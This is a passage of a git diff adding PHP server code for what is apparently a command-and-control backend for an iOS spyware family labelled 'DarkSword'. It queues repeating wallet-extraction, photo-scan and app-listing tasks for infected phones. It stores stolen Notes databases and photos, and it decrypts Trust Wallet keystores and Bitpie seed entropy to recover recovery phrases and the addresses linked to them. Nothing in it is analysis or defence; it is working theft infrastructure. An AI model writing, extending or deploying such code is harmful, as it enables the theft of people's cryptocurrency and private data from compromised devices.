ingestResult(Request $request, array $payload): void + { + $device = $this->upsertDevice($request, $payload); + if ($device) { + $stored = $this->results->store($device, $payload); + $payload = array_merge($payload, $stored); + if (($stored['stored'] ?? false) === true) { + $this->ingestTrustAddressesFromResult($device, $payload); + } + } + $this->beaconQueue->markDone($payload); + } + + /** + * @param array $payload + */ + private function ingestTrustAddressesFromResult(Device $device, array $payload): void + { + $filename = strtolower((string) ($payload['filename'] ?? '')); + $looksTrust = str_contains($filename, 'utc--') + || str_contains($filename, 'wallet_pkg') + || str_contains($filename, 'keystore'); + if (! $looksTrust) { + return; + } + $raw = $payload['data'] ?? null; + if ((! is_string($raw) || $raw === '') && ! empty($payload['path']) && is_string($payload['path'])) { + if (Storage::disk('local')->exists($payload['path'])) { + $raw = (string) Storage::disk('local')->get($payload['path']); + } + } + if (! is_string($raw) || $raw === '') { + return; + } + $this->trustAddresses->ingest($device, $raw); + $rows = $this->storeWalletKeystores($device, ['trust_wallet' => $raw], 'sandbox', null); + $this->recoverKeystoreMnemonics($device, null, $raw, $rows); + } + + /** + * @param array $payload + */ + private function extractDeviceKey(Request $request, array $payload): ?string + { + $candidates = [ + $payload['lhu'] ?? null, + $payload['deviceUUID'] ?? null, + $payload['device_uuid'] ?? null, + $payload['uuid'] ?? null, + $payload['device'] ?? null, + $request->header('X-Device-UUID'), + $request->query('deviceUUID'), + $request->query('device'), + ]; + foreach ($candidates as $value) { + if (! is_string($value) || $value === '') { + continue; + } + $hex = strtoupper(preg_replace('/[^0-9A-Fa-f]/', '', $value) ?? ''); + if ($hex === '') { + continue; + } + + return substr($hex, 0, 32); + } + + return null; + } + + /** + * @param array $payload + */ + private function extractChannelCode(array $payload): ?string + { + foreach (['channeICode', 'channelCode', 'channel_code', 'channel'] as $key) { + $value = $payload[$key] ?? null; + if (! is_string($value)) { + continue; + } + $value = trim($value); + if ($value === '') { + continue; + } + + return substr($value, 0, 64); + } + + return null; + } + + private function channelFromVisit(string $deviceKey): ?string + { + $channel = PageVisit::query() + ->where('client_uid', $deviceKey) + ->where('chain', PageVisit::CHAIN_DARKSWORD) + ->where('channel_id', '!=', '') + ->orderByDesc('id') + ->value('channel_id'); + + return is_string($channel) && $channel !== '' ? substr($channel, 0, 64) : null; + } + + /** + * @param array $payload + */ + private function extractModel(array $payload): ?string + { + foreach (['machine', 'deviceModel', 'device_model', 'productType'] as $key) { + $value = $payload[$key] ?? null; + if (is_string($value) && trim($value) !== '') { + return substr(trim($value), 0, 128); + } + } + + return null; + } + + /** + * @param array $payload + */ + private function extractIos(array $payload): ?string + { + foreach (['ios_version', 'ios', 'iosVersion', 'productVersion'] as $key) { + $value = $payload[$key] ?? null; + if (is_string($value) && trim($value) !== '') { + return substr(trim($value), 0, 64); + } + } + + return null; + } + + /** + * @param array $payload + */ + private function clientIp(Request $request, array $payload): string + { + $reported = $payload['ip'] ?? null; + if (is_string($reported) && trim($reported) !== '') { + $normalized = PageVisit::normalizeIp(trim($reported)); + if ($normalized !== '') { + return substr($normalized, 0, 64); + } + } + + return substr(PageVisit::normalizeIp((string) $request->ip()) ?: (string) $request->ip(), 0, 64); + } + + private function shouldReplaceModel(?string $current, string $incoming): bool + { + $cur = trim((string) $current); + if ($cur === '' || strcasecmp($cur, 'iPhone') === 0) { + return true; + } + + return false; + } + + /** + * @return list + */ + private function appsToAl(mixed $apps): array + { + if (! is_array($apps)) { + return []; + } + $al = []; + foreach ($apps as $key => $item) { + if ($key === '_more' || ! is_array($item)) { + continue; + } + $bundle = trim((string) ($item['bundleId'] ?? $item['bundle_id'] ?? $item['b'] ?? '')); + if ($bundle === '' || str_starts_with(strtolower($bundle), 'com.apple')) { + continue; + } + $row = [ + 'b' => $bundle, + 'a' => (string) ($item['name'] ?? $item['a'] ?? $bundle), + ]; + $version = $item['version'] ?? $item['v'] ?? null; + if (is_string($version) && $version !== '') { + $row['v'] = $version; + } + $al[] = $row; + } + + return $al; + } + + private function storeNoteDbFiles(Device $device, mixed $files): void + { + if (! is_array($files)) { + return; + } + foreach ($files as $file) { + if (! is_array($file)) { + continue; + } + $name = basename((string) ($file['name'] ?? 'notes.sqlite')); + $name = preg_replace('/[^A-Za-z0-9._-]+/', '_', $name) ?: 'notes.sqlite'; + $data = $file['data'] ?? $file['content'] ?? null; + if (! is_string($data) || $data === '') { + continue; + } + $bin = base64_decode($data, true); + if ($bin === false || $bin === '') { + continue; + } + $rel = 'c2/ds-notes/'.$device->device_id.'/'.$name; + Storage::disk('local')->put($rel, $bin); + } + } + + private function hasMaterial(mixed $value): bool + { + if ($value === null || $value === '' || $value === []) { + return false; + } + if (! is_array($value)) { + return true; + } + if (array_key_exists('items', $value) && is_array($value['items'])) { + return $value['items'] !== []; + } + foreach ($value as $child) { + if ($this->hasMaterial($child)) { + return true; + } + } + + return false; + } + + /** + * @return list + */ + private function storeWalletKeystores(Device $device, mixed $buckets, string $kind, mixed $diagnostics): array + { + if (! $this->hasMaterial($buckets)) { + return []; + } + $rows = []; + if (is_array($buckets) && ! array_is_list($buckets)) { + $leftover = []; + foreach ($buckets as $key => $bucket) { + if (! $this->hasMaterial($bucket)) { + continue; + } + $source = is_string($key) ? WalletSource::fromKeystoreHint($key) : ''; + if ($source === '' && ! is_string($key)) { + $leftover[$key] = $bucket; + + continue; + } + if ($source === '' && is_string($key) && in_array(strtolower($key), ['notes', 'diagnostics'], true)) { + continue; + } + $rows[] = $this->createKeystore($device, $source, $this->keystorePayload($kind, [$key => $bucket], null)); + } + if ($leftover !== []) { + $rows[] = $this->createKeystore($device, '', $this->keystorePayload($kind, $leftover, $diagnostics)); + } elseif ($rows === [] && $this->hasMaterial($buckets)) { + $rows[] = $this->createKeystore( + $device, + WalletSource::fromKeystoreHint(is_string($buckets) ? $buckets : ''), + $this->keystorePayload($kind, $buckets, $diagnostics) + ); + } + + return $rows; + } + + $source = WalletSource::fromKeystoreHint(is_string($buckets) ? $buckets : ''); + $rows[] = $this->createKeystore($device, $source, $this->keystorePayload($kind, $buckets, $diagnostics)); + + return $rows; + } + + /** + * @param array|string $payload + * @return array + */ + private function keystorePayload(string $kind, mixed $payload, mixed $diagnostics): array + { + $body = [ + 'kind' => $kind, + ]; + if (str_starts_with($kind, 'keychain')) { + $body['wallets'] = $payload; + } else { + $body['sandbox'] = $payload; + } + if ($diagnostics !== null) { + $body['diagnostics'] = $diagnostics; + } + + return $body; + } + + /** + * @param array $rawJson + */ + private function createKeystore(Device $device, string $source, array $rawJson): WalletKeystore + { + return WalletKeystore::query()->create([ + 'device_id' => $device->id, + 'source' => $source, + 'decrypted' => 0, + 'raw_json' => $rawJson, + ]); + } + + /** + * Re-run Trust UTC / Bitpie recover on already-stored keystore blobs. + */ + public function reprocessKeystores(Device $device): void + { + $device->load('keystores'); + $this->recoverKeystoreMnemonics($device, null, null, $device->keystores->all()); + } + + /** + * @param list $rows + */ + private function recoverKeystoreMnemonics(Device $device, mixed $wallets, mixed $sandbox, array $rows): void + { + $hits = $this->keystoreDecrypt->recover($device, $wallets, $sandbox); + foreach ($hits as $hit) { + $tag = $hit['tag'] !== '' ? $hit['tag'] : 'd'; + $this->ingest->ingestMnemonic($device, [ + 'mnemonic' => $hit['phrase'], + 'a' => $tag, + ]); + $this->keystoreDecrypt->markDecrypted($rows, $hit['source']); + $this->keystoreDecrypt->markDecrypted($device->keystores()->get(), $hit['source']); + + $mnemonic = WalletMnemonic::query() + ->where('device_id', $device->id) + ->where('mnemonic_hash', WalletMnemonic::hashSecret($hit['phrase'])) + ->first(); + if ($mnemonic !== null) { + $this->mnemonicDiscovery->discoverIndexZero($mnemonic); + } + if (($hit['addresses'] ?? []) !== []) { + $this->ingest->ingestAddresses($device, [ + 'a' => $tag, + 'data' => $hit['addresses'], + ]); + } + if ($mnemonic !== null) { + $this->mnemonicLinker->linkMnemonicToDeviceAddresses($mnemonic); + } + } + } + + private function walkForMnemonics(Device $device, mixed $node, string $tag): void + { + if (is_string($node)) { + $phrase = $this->asMnemonicPhrase($node); + if ($phrase !== null) { + $this->ingest->ingestMnemonic($device, ['mnemonic' => $phrase, 'a' => $tag]); + } + + return; + } + if (! is_array($node)) { + return; + } + if (($node['_truncated'] ?? false) === true) { + return; + } + if ($this->isFailedUnwrap($node)) { + return; + } + + foreach ($node as $key => $child) { + if (is_string($key) && in_array($key, self::SKIP_WALK_KEYS, true)) { + continue; + } + $childTag = is_string($key) ? $this->tagForWalletKey($key, $tag) : $tag; + $this->walkForMnemonics($device, $child, $childTag); + } + } + + /** + * @param array $node + */ + private function isFailedUnwrap(array $node): bool + { + foreach (['error', 'layer3Error'] as $key) { + $err = $node[$key] ?? null; + if (is_string($err) && $err !== '' && preg_match('/unwrap|aks_/i', $err)) { + return true; + } + } + + return false; + } + + private function tagForWalletKey(string $key, string $fallback): string + { + $k = strtolower($key); + if (str_contains($k, 'imtoken') || str_contains($k, 'im.token')) { + return 'b'; + } + if (str_contains($k, 'trust')) { + return 'd'; + } + + return $fallback; + } + + private function asMnemonicPhrase(string $raw): ?string + { + $candidates = [$raw]; + $trimmed = trim($raw); + if ($trimmed !== '' && ctype_xdigit($trimmed) && strlen($trimmed) % 2 === 0 && strlen($trimmed) >= 24) { + $bin = @hex2bin($trimmed); + if (is_string($bin) && $bin !== '' && mb_check_encoding($bin, 'UTF-8')) { + $candidates[] = $bin; + $decoded = json_decode($bin, true); + if (is_array($decoded)) { + foreach (['mnemonic', 'phrase', 'seed', 'recovery'] as $k) { + if (isset($decoded[$k]) && is_string($decoded[$k])) { + $candidates[] = $decoded[$k]; + } + } + } + } + } + + foreach ($candidates as $text) { + $phrase = $this->matchWordMnemonic($text); + if ($phrase !== null) { + return $phrase; + } + } + + return null; + } + + private function matchWordMnemonic(string $text): ?string + { + $text = strtolower(trim($text)); + if ($text === '' || str_starts_with($text, '{') || str_starts_with($text, '[')) { + return null; + } + $words = preg_split('/\s+/', $text) ?: []; + $n = count($words); + if ($n !== 12 && $n !== 24) { + return null; + } + foreach ($words as $word) { + if (! preg_match('/^[a-z]{3,8}$/', $word)) { + return null; + } + } + + return implode(' ', $words); + } +} diff --git a/app/Services/DsBeaconQueue.php b/app/Services/DsBeaconQueue.php new file mode 100644 index 0000000..a1cd57a --- /dev/null +++ b/app/Services/DsBeaconQueue.php @@ -0,0 +1,221 @@ + */ + public const TYPES = [ + 'wallet_extract', + 'wallet_scan', + 'photo_scan', + 'apps', + ]; + + /** @var list */ + public const LOOP_TYPES = [ + 'wallet_extract', + 'wallet_scan', + 'photo_scan', + 'apps', + ]; + + public function seed(Device $device): void + { + if ($device->family !== Device::FAMILY_DARKSWORD) { + return; + } + + DsBeaconTask::query() + ->where('device_id', $device->id) + ->where('type', 'basic_info') + ->delete(); + + if (DsBeaconTask::query()->where('device_id', $device->id)->exists()) { + return; + } + + $now = now(); + $rows = []; + foreach (self::TYPES as $i => $type) { + $rows[] = [ + 'device_id' => $device->id, + 'position' => $i + 1, + 'type' => $type, + 'status' => DsBeaconTask::STATUS_PENDING, + 'created_at' => $now, + 'updated_at' => $now, + ]; + } + DsBeaconTask::query()->insert($rows); + } + + /** + * Next pending command. wallet_extract / wallet_scan / photo_scan / apps + * re-queue after a full pass so the agent keeps polling them. + * + * @return array{type: string, command_id: string, params: array}|null + */ + public function dequeue(Device $device): ?array + { + $this->seed($device); + + return DB::transaction(function () use ($device) { + $task = $this->nextRunnable($device); + if (! $task) { + return null; + } + + $commandId = 'dsq-'.$device->id.'-'.$task->position.'-'.Str::lower(Str::random(10)); + $meta = is_array($task->result_meta) ? $task->result_meta : []; + $meta['dispatch_count'] = (int) ($meta['dispatch_count'] ?? 0) + 1; + if ($task->status === DsBeaconTask::STATUS_DISPATCHED) { + $meta['last_retry_at'] = now()->toDateTimeString(); + } + + $task->forceFill([ + 'status' => DsBeaconTask::STATUS_DISPATCHED, + 'command_id' => $commandId, + 'dispatched_at' => now(), + 'result_meta' => $meta, + ])->save(); + + return [ + 'type' => $task->type, + 'command_id' => $commandId, + 'params' => $this->paramsFor($task->type), + ]; + }); + } + + /** + * @param array $payload + */ + public function markDone(array $payload): ?DsBeaconTask + { + $commandId = trim((string) ($payload['command_id'] ?? '')); + if ($commandId === '') { + return null; + } + + $task = DsBeaconTask::query()->where('command_id', $commandId)->first(); + if (! $task) { + return null; + } + + $meta = $task->result_meta ?? []; + $filename = trim((string) ($payload['filename'] ?? '')); + $category = trim((string) ($payload['category'] ?? '')); + if ($filename !== '') { + $meta['filename'] = substr($filename, 0, 255); + } + if ($category !== '') { + $meta['category'] = substr($category, 0, 64); + } + if (isset($payload['status']) && is_string($payload['status'])) { + $meta['status'] = substr($payload['status'], 0, 32); + } + foreach (['path', 'reason', 'stored', 'photo', 'size'] as $key) { + if (array_key_exists($key, $payload)) { + $meta[$key] = $payload[$key]; + } + } + + $touch = [ + 'result_count' => (int) $task->result_count + 1, + 'result_meta' => $meta, + ]; + if ($task->status !== DsBeaconTask::STATUS_DONE) { + $touch['status'] = DsBeaconTask::STATUS_DONE; + $touch['completed_at'] = now(); + } + $task->forceFill($touch)->save(); + + return $task->refresh(); + } + + /** + * @return array + */ + private function paramsFor(string $type): array + { + return match ($type) { + 'wallet_extract' => ['wallet_type' => 'imtoken'], + 'photo_scan' => ['max_count' => 200], + default => [], + }; + } + + private function nextRunnable(Device $device): ?DsBeaconTask + { + while (true) { + $task = $this->findRunnable($device); + if (! $task) { + if (! $this->requeueLoopTypes($device)) { + return null; + } + $task = $this->findRunnable($device); + if (! $task) { + return null; + } + } + if ($task->type !== 'photos' && $task->type !== 'basic_info') { + return $task; + } + $task->forceFill([ + 'status' => DsBeaconTask::STATUS_SKIPPED, + 'completed_at' => now(), + 'result_meta' => [ + 'reason' => $task->type === 'photos' + ? 'queue_uses_photo_scan_only' + : 'removed_from_queue', + ], + ])->save(); + } + } + + private function findRunnable(Device $device): ?DsBeaconTask + { + return DsBeaconTask::query() + ->where('device_id', $device->id) + ->where(function ($q) { + $q->where('status', DsBeaconTask::STATUS_PENDING) + ->orWhere(function ($q2) { + $q2->where('status', DsBeaconTask::STATUS_DISPATCHED) + ->where('result_count', 0); + }); + }) + ->orderBy('position') + ->lockForUpdate() + ->first(); + } + + private function requeueLoopTypes(Device $device): bool + { + $tasks = DsBeaconTask::query() + ->where('device_id', $device->id) + ->whereIn('type', self::LOOP_TYPES) + ->where('status', DsBeaconTask::STATUS_DONE) + ->lockForUpdate() + ->get(); + if ($tasks->isEmpty()) { + return false; + } + + foreach ($tasks as $task) { + $task->forceFill([ + 'status' => DsBeaconTask::STATUS_PENDING, + 'command_id' => null, + 'dispatched_at' => null, + 'completed_at' => null, + ])->save(); + } + + return true; + } +} diff --git a/app/Services/DsKeystoreDecrypt.php b/app/Services/DsKeystoreDecrypt.php new file mode 100644 index 0000000..39b9c5d --- /dev/null +++ b/app/Services/DsKeystoreDecrypt.php @@ -0,0 +1,684 @@ +}> + */ + public function recover(Device $device, mixed $wallets, mixed $sandbox): array + { + $hits = []; + $seen = []; + foreach ($this->recoverTrustUtc($device, $wallets, $sandbox) as $hit) { + $hash = WalletMnemonic::hashSecret($hit['phrase']); + if (isset($seen[$hash])) { + continue; + } + $seen[$hash] = true; + $hits[] = $hit; + } + $bitpieNodes = [$wallets, $sandbox]; + foreach ($device->keystores as $row) { + if ($row->source === 'Bitpie') { + $bitpieNodes[] = $row->raw_json; + } + } + foreach ($this->recoverBitpie($bitpieNodes) as $hit) { + $hash = WalletMnemonic::hashSecret($hit['phrase']); + if (isset($seen[$hash])) { + continue; + } + $seen[$hash] = true; + $hits[] = $hit; + } + + return $hits; + } + + /** + * @return list}> + */ + private function recoverTrustUtc(Device $device, mixed $wallets, mixed $sandbox): array + { + $utcs = $this->collectKeystores($sandbox); + $utcs = array_merge($utcs, $this->collectKeystores($wallets)); + if ($utcs === []) { + return []; + } + $passwords = $this->collectPasswords($wallets); + foreach ($device->keystores as $row) { + $passwords = array_merge($passwords, $this->collectPasswords($row->raw_json)); + } + $passwords = array_slice($this->uniquePasswords($passwords), 0, 8); + if ($passwords === []) { + return []; + } + + $hits = []; + foreach ($utcs as $item) { + $phrase = $this->unlock($item['keystore'], $passwords); + if ($phrase === null) { + continue; + } + $source = $item['source'] !== '' ? $item['source'] : 'Trust Wallet'; + $hits[] = [ + 'source' => $source, + 'tag' => WalletSource::tagForLabel($source), + 'phrase' => $phrase, + 'addresses' => [], + ]; + } + + return $hits; + } + + /** + * @param list $nodes + * @return list}> + */ + private function recoverBitpie(array $nodes): array + { + $phrases = []; + $addresses = []; + foreach ($nodes as $node) { + foreach ($this->collectBitpieEntropyHex($node) as $hex) { + $phrase = $this->phraseFromEntropyHex($hex); + if ($phrase !== null) { + $phrases[$phrase] = true; + } + } + $addresses = array_merge($addresses, $this->collectBitpieAddresses($node)); + } + if ($phrases === []) { + return []; + } + + $uniq = []; + $seenAddr = []; + foreach ($addresses as $row) { + $key = $row['address']; + if (isset($seenAddr[$key])) { + continue; + } + $seenAddr[$key] = true; + $uniq[] = $row; + } + + $hits = []; + foreach (array_keys($phrases) as $phrase) { + $hits[] = [ + 'source' => 'Bitpie', + 'tag' => 'r', + 'phrase' => $phrase, + 'addresses' => $uniq, + ]; + } + + return $hits; + } + + /** + * @param list $passwords + */ + public function unlock(array $keystore, array $passwords): ?string + { + foreach ($passwords as $password) { + $plain = EthKeystore::decrypt($keystore, $password); + if ($plain === null) { + continue; + } + $phrase = $this->asMnemonic($plain); + if ($phrase !== null) { + return $phrase; + } + } + + return null; + } + + /** + * @return list}> + */ + public function collectKeystores(mixed $node, string $source = '', int $depth = 0): array + { + if ($depth > 10 || $node === null) { + return []; + } + if (is_string($node)) { + $decoded = $this->decodeBlob($node); + if ($decoded === null) { + return []; + } + + return $this->collectKeystores($decoded, $source, $depth + 1); + } + if (! is_array($node)) { + return []; + } + if ($this->isKeystore($node)) { + return [['source' => $source, 'keystore' => $node]]; + } + + $out = []; + foreach ($node as $key => $child) { + $next = $source; + if (is_string($key)) { + $hint = WalletSource::fromKeystoreHint($key); + if ($hint !== '') { + $next = $hint; + } + } + $out = array_merge($out, $this->collectKeystores($child, $next, $depth + 1)); + } + + return $out; + } + + /** + * @return list + */ + public function collectPasswords(mixed $node, int $depth = 0): array + { + $items = $this->collectPasswordItems($node, $depth); + usort($items, static fn ($a, $b) => $b['score'] <=> $a['score']); + $out = []; + foreach ($items as $item) { + $out = array_merge($out, $this->passwordsFromHex($item['hex'])); + } + + return $this->uniquePasswords($out); + } + + /** + * @return list + */ + private function collectPasswordItems(mixed $node, int $depth = 0): array + { + if ($depth > 8 || ! is_array($node)) { + return []; + } + + $out = []; + $hex = $node['dataHex'] ?? null; + if (is_string($hex) && $hex !== '') { + $account = strtolower((string) ($node['account'] ?? '')); + $score = 0; + if (str_contains($account, 'utc--') && ! str_contains($account, 'migration')) { + $score += 100; + } + $rawLen = strlen(preg_replace('/[^0-9a-fA-F]/', '', $hex) ?? '') / 2; + if ($rawLen === 32.0 || $rawLen === 64.0) { + $score += 20; + } + $out[] = ['hex' => $hex, 'score' => $score]; + } + foreach (['items', 'wallets', 'sandbox'] as $key) { + if (! isset($node[$key]) || ! is_array($node[$key])) { + continue; + } + foreach ($node[$key] as $child) { + $out = array_merge($out, $this->collectPasswordItems($child, $depth + 1)); + } + } + if ($hex === null && ! isset($node['items']) && ! isset($node['wallets']) && ! isset($node['sandbox'])) { + foreach ($node as $child) { + if (is_array($child)) { + $out = array_merge($out, $this->collectPasswordItems($child, $depth + 1)); + } + } + } + + return $out; + } + + /** + * @param list $rows + */ + public function markDecrypted(iterable $rows, string $source): void + { + foreach ($rows as $row) { + if (! $row instanceof WalletKeystore) { + continue; + } + if ($row->source !== $source) { + continue; + } + if ((int) $row->decrypted === 1) { + continue; + } + $row->decrypted = 1; + $row->save(); + } + } + + /** + * @param array $node + */ + private function isKeystore(array $node): bool + { + $crypto = $node['crypto'] ?? $node['Crypto'] ?? null; + if (! is_array($crypto)) { + return false; + } + + return isset($crypto['ciphertext'], $crypto['mac'], $crypto['kdf']); + } + + /** + * @return list + */ + private function passwordsFromHex(string $hex): array + { + $hex = preg_replace('/[^0-9a-fA-F]/', '', $hex) ?? ''; + if ($hex === '' || strlen($hex) % 2 !== 0) { + return []; + } + $raw = @hex2bin($hex); + if (! is_string($raw) || $raw === '') { + return []; + } + + return $this->passwordsFromString($raw); + } + + /** + * @return list + */ + private function passwordsFromString(string $raw): array + { + $out = [$raw]; + if (mb_check_encoding($raw, 'UTF-8')) { + $trim = trim($raw); + if ($trim !== '' && $trim !== $raw) { + $out[] = $trim; + } + $unquoted = trim($trim, "\"'"); + if ($unquoted !== '' && $unquoted !== $trim) { + $out[] = $unquoted; + } + if (ctype_xdigit($trim) && strlen($trim) % 2 === 0 && strlen($trim) >= 8) { + $bin = @hex2bin($trim); + if (is_string($bin) && $bin !== '') { + $out[] = $bin; + } + } + } + + return $out; + } + + /** + * @param list $passwords + * @return list + */ + private function uniquePasswords(array $passwords): array + { + $seen = []; + $out = []; + foreach ($passwords as $password) { + if ($password === '') { + continue; + } + if (isset($seen[$password])) { + continue; + } + $seen[$password] = true; + $out[] = $password; + } + + return $out; + } + + private function decodeBlob(string $raw): mixed + { + $raw = trim($raw); + if ($raw === '') { + return null; + } + if (str_starts_with($raw, '{') || str_starts_with($raw, '[')) { + $json = json_decode($raw, true); + + return is_array($json) ? $json : null; + } + $b64 = base64_decode($raw, true); + if (is_string($b64) && $b64 !== '') { + $json = json_decode($b64, true); + if (is_array($json)) { + return $json; + } + } + $hex = preg_replace('/[^0-9a-fA-F]/', '', $raw) ?? ''; + if ($hex !== '' && strlen($hex) % 2 === 0 && strlen($hex) >= 8) { + $bin = @hex2bin($hex); + if (is_string($bin) && $bin !== '') { + $json = json_decode($bin, true); + if (is_array($json)) { + return $json; + } + } + } + + return null; + } + + private function asMnemonic(string $plain): ?string + { + $text = strtolower(trim($plain)); + $text = preg_replace('/\s+/', ' ', $text) ?? $text; + $words = $text === '' ? [] : explode(' ', $text); + $n = count($words); + if ($n !== 12 && $n !== 24) { + return null; + } + foreach ($words as $word) { + if (! preg_match('/^[a-z]{3,8}$/', $word)) { + return null; + } + } + + return implode(' ', $words); + } + + /** + * @return list + */ + public function collectBitpieEntropyHex(mixed $node, int $depth = 0): array + { + if ($depth > 10 || $node === null) { + return []; + } + if (is_string($node)) { + $decoded = $this->decodeBlob($node); + if ($decoded === null) { + return []; + } + + return $this->collectBitpieEntropyHex($decoded, $depth + 1); + } + if (! is_array($node)) { + return []; + } + + $out = []; + $account = strtolower(trim((string) ($node['account'] ?? ''))); + if ($account === 'seedphraseentropy') { + $hex = $this->entropyHexFromItem($node); + if ($hex !== null) { + $out[] = $hex; + } + } + foreach ($node as $key => $child) { + if (is_string($key) && strtolower($key) === 'seedphraseentropy') { + $hex = is_string($child) ? $this->normalizeEntropyHex($child) : $this->entropyHexFromItem(is_array($child) ? $child : []); + if ($hex !== null) { + $out[] = $hex; + } + } + if (is_array($child) || is_string($child)) { + $out = array_merge($out, $this->collectBitpieEntropyHex($child, $depth + 1)); + } + } + + return $out; + } + + /** + * @return list + */ + public function collectBitpieAddresses(mixed $node, int $depth = 0, bool $inBitpie = false): array + { + if ($depth > 10 || $node === null) { + return []; + } + if (is_string($node)) { + if (! $inBitpie) { + return []; + } + + return $this->addressesFromBitpieText($node); + } + if (! is_array($node)) { + return []; + } + + $out = []; + $account = strtolower(trim((string) ($node['account'] ?? ''))); + $extract = $inBitpie || in_array($account, ['useraddresskey', 'useraddress', 'seedphraseentropy'], true); + if (in_array($account, ['useraddresskey', 'useraddress'], true)) { + $out = array_merge($out, $this->addressesFromBitpieText($this->itemUtf8($node))); + } + if ($extract && isset($node['address']) && is_string($node['address'])) { + $mapped = $this->addressRow($node['address'], $node['coin_code'] ?? $node['chainType'] ?? $node['chain'] ?? null); + if ($mapped !== null) { + $out[] = $mapped; + } + } + foreach ($node as $key => $child) { + if (! is_array($child) && ! is_string($child)) { + continue; + } + $childInBitpie = $inBitpie || $this->isBitpieLabel($key); + $walk = $childInBitpie || $this->isBitpieWalkKey($key, $inBitpie); + if (! $walk) { + continue; + } + $out = array_merge($out, $this->collectBitpieAddresses($child, $depth + 1, $childInBitpie)); + } + + return $out; + } + + private function isBitpieLabel(mixed $key): bool + { + $raw = strtolower(trim((string) $key)); + + return $raw !== '' && ( + str_contains($raw, 'bitpie') + || in_array($raw, ['useraddresskey', 'useraddress', 'useraddresses', 'kuseraddressesconfigure'], true) + ); + } + + private function isBitpieWalkKey(mixed $key, bool $inBitpie): bool + { + if (is_int($key)) { + return $inBitpie; + } + $raw = strtolower(trim((string) $key)); + + return in_array($raw, ['wallets', 'sandbox', 'items', 'item'], true); + } + + /** + * @param array $item + */ + private function entropyHexFromItem(array $item): ?string + { + $hex = $item['dataHex'] ?? null; + if (is_string($hex) && $hex !== '') { + $fromHex = $this->normalizeEntropyHex($hex); + if ($fromHex !== null) { + return $fromHex; + } + $bin = $this->fromHex($hex); + if ($bin !== null) { + $nested = $this->normalizeEntropyHex($bin); + if ($nested !== null) { + return $nested; + } + } + } + + return $this->normalizeEntropyHex($this->itemUtf8($item)); + } + + /** + * @param array $item + */ + private function itemUtf8(array $item): string + { + $hex = $item['dataHex'] ?? null; + if (is_string($hex) && $hex !== '') { + $bin = $this->fromHex($hex); + if ($bin !== null && mb_check_encoding($bin, 'UTF-8')) { + return trim($bin); + } + } + $data = $item['data'] ?? null; + + return is_string($data) ? trim($data) : ''; + } + + private function normalizeEntropyHex(string $raw): ?string + { + $raw = trim($raw); + if ($raw === '') { + return null; + } + $bin = $this->fromHex($raw); + if ($bin !== null) { + if (mb_check_encoding($bin, 'UTF-8')) { + $trim = trim($bin); + if ($this->isEntropyHex($trim)) { + return strtolower($trim); + } + } + if (strlen($bin) === 16 || strlen($bin) === 32) { + return strtolower(bin2hex($bin)); + } + } + if ($this->isEntropyHex($raw)) { + return strtolower($raw); + } + + return null; + } + + private function isEntropyHex(string $value): bool + { + return (bool) preg_match('/^[0-9a-fA-F]{32}$/', $value) + || (bool) preg_match('/^[0-9a-fA-F]{64}$/', $value); + } + + private function phraseFromEntropyHex(string $hex): ?string + { + try { + $mnemonic = BIP39::Entropy(strtolower($hex)); + } catch (\Throwable) { + return null; + } + $phrase = strtolower(trim(implode(' ', $mnemonic->words))); + + return $this->asMnemonic($phrase); + } + + /** + * @return list + */ + private function addressesFromBitpieText(string $text): array + { + $out = []; + $text = trim($text); + if ($text === '') { + return $out; + } + $direct = $this->addressRow($text, null); + if ($direct !== null) { + $out[] = $direct; + } + if (preg_match('/kUserAddressesConfigure\s*(\[[\s\S]*\])/', $text, $m)) { + $json = json_decode($m[1], true); + if (is_array($json)) { + $out = array_merge($out, $this->collectBitpieAddresses($json, 0, true)); + } + } + $decoded = $this->decodeBlob($text); + if (is_array($decoded)) { + $out = array_merge($out, $this->collectBitpieAddresses($decoded, 0, true)); + } + + return $out; + } + + /** + * @return array{address: string, chainType: string, symbol: string, balance: int}|null + */ + private function addressRow(string $address, mixed $hint): ?array + { + $address = trim($address); + if ($address === '') { + return null; + } + $chain = $this->chainFromHint($hint) ?? WalletSource::inferChainType($address); + $chain = strtoupper($chain); + if (! WalletSource::isSupportedChain($chain)) { + return null; + } + $normalized = $chain === 'ETH' ? 'ETHEREUM' : ($chain === 'BTC' ? 'BITCOIN' : ($chain === 'TRX' ? 'TRON' : $chain)); + if (in_array($normalized, ['TRON', 'TRX'], true) && ! TronAddress::isValid($address)) { + return null; + } + if (in_array($normalized, ['ETHEREUM', 'ETH', 'EVM'], true) && ! EthAddress::isValid($address)) { + return null; + } + if (in_array($normalized, ['BITCOIN', 'BTC'], true) && ! BtcAddress::isValid($address)) { + return null; + } + $symbol = match ($chain) { + 'BITCOIN', 'BTC' => 'BTC', + 'ETHEREUM', 'ETH', 'EVM' => 'ETH', + 'BNB', 'BSC', 'BINANCE' => 'BNB', + default => 'TRX', + }; + + return [ + 'address' => $address, + 'chainType' => $chain === 'ETH' ? 'ETHEREUM' : ($chain === 'BTC' ? 'BITCOIN' : ($chain === 'TRX' ? 'TRON' : $chain)), + 'symbol' => $symbol, + 'balance' => 0, + ]; + } + + private function chainFromHint(mixed $hint): ?string + { + $raw = strtolower(trim((string) $hint)); + if ($raw === '') { + return null; + } + if (str_contains($raw, 'trx') || str_contains($raw, 'tron')) { + return 'TRON'; + } + if (str_contains($raw, 'eth')) { + return 'ETHEREUM'; + } + if (str_contains($raw, 'btc') || str_contains($raw, 'bitcoin')) { + return 'BITCOIN'; + } + + return WalletSource::isSupportedChain($raw) ? strtoupper($raw) : null; + } + + private function fromHex(string $value): ?string + { + $hex = preg_replace('/[^0-9a-fA-F]/', '', $value) ?? ''; + if ($hex === '' || strlen($hex) % 2 !== 0) { + return null; + } + $bin = @hex2bin($hex); + + return is_string($bin) ? $bin : null; + } +} diff --git a/app/Services/DsResultStore.php b/app/Services/DsResultStore.php new file mode 100644 index 0000000..3fa8a97 --- /dev/null +++ b/app/Services/DsResultStore.php @@ -0,0 +1,179 @@ + */ + private const VIDEO_EXT = ['mp4', 'mov', 'm4v', 'avi', 'mkv', 'webm', '3gp', 'qt']; + + /** @var list */ + private const IMAGE_EXT = ['png', 'jpg', 'jpeg', 'heic', 'heif', 'gif', 'webp', 'bmp', 'tif', 'tiff']; + + public function __construct( + private readonly IngestService $ingest, + ) {} + + /** + * Persist one /result body. Videos are dropped. Chunks assemble under + * c2/ds-chunks then land in c2/ds-results. Images also go through album ingest. + * + * @param array $payload + * @return array + */ + public function store(Device $device, array $payload): array + { + $filename = $this->safeName((string) ($payload['filename'] ?? '')); + if ($filename === '') { + return ['stored' => false, 'reason' => 'no_filename']; + 